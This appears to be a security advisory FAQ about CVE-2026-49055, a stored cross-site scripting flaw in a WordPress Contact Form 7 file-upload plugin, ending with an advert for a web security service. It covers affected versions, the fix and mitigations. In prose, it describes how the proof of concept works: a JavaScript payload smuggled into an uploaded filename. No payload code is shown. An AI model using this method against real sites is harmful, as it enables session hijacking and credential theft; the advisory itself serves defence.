CVE-2026-49055 is a high-severity stored Cross-Site Scripting (XSS) vulnerability in the Drag and Drop Multiple File Upload for Contact Form 7 plugin for WordPress. It allows unauthenticated attackers to inject arbitrary scripts into web pages that execute when users access those pages.
Who is affected by this vulnerability?
Identifying vulnerable installations
Any WordPress site using the Drag and Drop Multiple File Upload for Contact Form 7 plugin version 1.3.9.7 or earlier is affected. Administrators should check their plugin versions and update if they are running a vulnerable version.
How can I check if my site is vulnerable?
Verifying plugin versions
To check if your site is vulnerable, navigate to the plugins section in your WordPress admin dashboard. Look for the Drag and Drop Multiple File Upload for Contact Form 7 plugin and verify its version against the known vulnerable version, which is 1.3.9.7 or earlier.
How can I fix CVE-2026-49055?
Updating the plugin
The vulnerability can be fixed by updating the Drag and Drop Multiple File Upload for Contact Form 7 plugin to version 1.3.9.8 or later. Ensure to regularly check for updates to maintain security.
What does the CVSS score of 7.2 indicate?
Understanding the severity level
A CVSS score of 7.2 indicates a high severity vulnerability. This means that the vulnerability poses a significant risk to the security of affected systems, potentially allowing attackers to execute scripts without authentication.
What are the practical risks of this vulnerability?
Potential consequences of exploitation
If exploited, this vulnerability could allow attackers to execute arbitrary JavaScript in the browsers of users visiting affected pages, leading to session hijacking, credential theft, or redirection to malicious sites.
What is stored Cross-Site Scripting (XSS)?
Defining the attack vector
Stored XSS is a type of security vulnerability that allows attackers to inject malicious scripts into content that is stored on the server. When users access the affected content, the scripts execute in their browsers, potentially compromising user data.
How does the proof of concept (PoC) demonstrate the vulnerability?
Understanding the exploitation method
The PoC demonstrates the vulnerability by showing how an attacker can upload a file with a malicious filename containing a JavaScript payload. This payload executes when the file is accessed, illustrating the lack of input sanitization.
What measures were taken in the patch?
Improvements made to the plugin
The patch for CVE-2026-49055 includes several security enhancements: it adds input sanitization for settings, escapes output to prevent script execution, and improves file name validation to restrict dangerous characters and extensions.
Can I mitigate the risk if I cannot update immediately?
Temporary risk reduction strategies
If immediate updates are not possible, consider disabling the plugin until it can be updated. Additionally, review user permissions and restrict access to the plugin settings to limit potential exploitation.
What should I do if I suspect my site has been compromised?
Responding to a potential breach
If you suspect your site has been compromised, immediately update the plugin, conduct a security audit, and check for unauthorized changes or scripts. It may also be necessary to restore from a clean backup and change passwords.
Is there a way to automate plugin updates?
Simplifying future security management
Yes, WordPress allows you to enable automatic updates for plugins. This can be done in the plugin settings or via code in the site’s functions.php file, helping to ensure that vulnerabilities are patched promptly.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations